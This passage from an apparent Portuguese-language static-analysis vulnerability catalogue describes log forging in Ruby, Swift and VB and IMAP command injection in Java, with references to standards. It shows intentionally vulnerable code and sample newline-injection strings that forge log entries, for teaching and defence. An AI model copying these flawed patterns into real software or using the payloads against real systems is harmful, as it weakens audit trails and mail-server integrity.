Exemplo 1: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


INFO: Failed to parse val
INFO: twenty-one


No entanto, se um invasor enviar a string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", a seguinte entrada será registrada:


INFO: Failed to parse val
INFO: twenty-one

INFO: User logged out=badguy


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.log_forging
Abstract
A função identificada grava entradas de usuário inválidas no registro. Um invasor pode tirar vantagem desse comportamento para falsificar entradas de log ou injetar conteúdo mal-intencionado no log.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, arquivos de log podem ser analisados manualmente conforme necessário ou examinados automaticamente por ferramentas que pesquisam os logs em busca de importantes pontos de dados ou tendências.

O exame dos arquivos de log poderá ser impedido ou conclusões baseadas em dados de log poderão estar erradas se um invasor tiver permissão para fornecer ao aplicativo dados que posteriormente serão registrados de maneira literal. Um invasor pode inserir entradas falsas no arquivo de log, incluindo caracteres separadores de entradas de log em seus dados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor injeta código ou outros comandos no arquivo de log e tira proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo 1: O código a seguir aceita uma cadeia de caracteres enviada pelo usuário e tenta convertê-la no valor de inteiro que ela representa. Se não for possível analisar o valor como um inteiro, seu valor será registrado em log com uma mensagem de erro indicando o que aconteceu.


...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


INFO: Illegal value = twenty-one


No entanto, se um invasor enviar a string "twenty-one\n\nINFO: User logged out=evil", a seguinte entrada será registrada:


INFO: Illegal value=twenty-one

INFO: User logged out=evil


Claramente, o invasor pode usar esse mesmo mecanismo para inserir entradas de log arbitrárias. Para que esse tipo de ataque de falsificação de log seja eficaz, um invasor deve primeiro identificar os formatos de entrada de log válidos, mas isso muitas vezes pode ser feito por meio de vazamentos de informações do sistema no aplicativo de destino.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


Failed to parse val=twenty-one


No entanto, se um invasor enviar a string "twenty-one%0a%0a+User+logged+out%3dbadguy", a seguinte entrada será registrada:


Failed to parse val=twenty-one

User logged out=badguy


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.vb.log_forging
Abstract
A execução de comandos IMAP provenientes de uma fonte não confiável pode fazer com que o servidor IMAP execute comandos mal-intencionados em nome de um invasor.
Explanation
Vulnerabilidades de injeção de comando IMAP ocorrem quando um invasor pode influenciar os comandos enviados a um servidor de e-mail IMAP.

1. Os dados entram em um aplicativo por uma fonte não confiável.

2. Os dados são usados como uma string, ou parte de uma string, que representa um comando executado pelo aplicativo.

3. Ao executar o comando IMAP, o invasor é capaz de instruir o servidor a realizar ações mal-intencionadas, como o envio de spam.

Exemplo 1: O código a seguir usa um parâmetro de solicitação HTTP para elaborar um comando CREATE que é enviado ao servidor IMAP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.


...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 88, CWE ID 93, CWE ID 147
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [25] CWE ID 077
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [17] CWE ID 077
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [16] CWE ID 077
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[20] Standards Mapping - OWASP Top 10 2010 A1 Injection
[21] Standards Mapping - OWASP Top 10 2013 A1 Injection
[22] Standards Mapping - OWASP Top 10 2017 A1 Injection
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.3 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.2 Sanitization and Sandboxing Requirements (L1 L2 L3)
[25] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[26] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[27] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
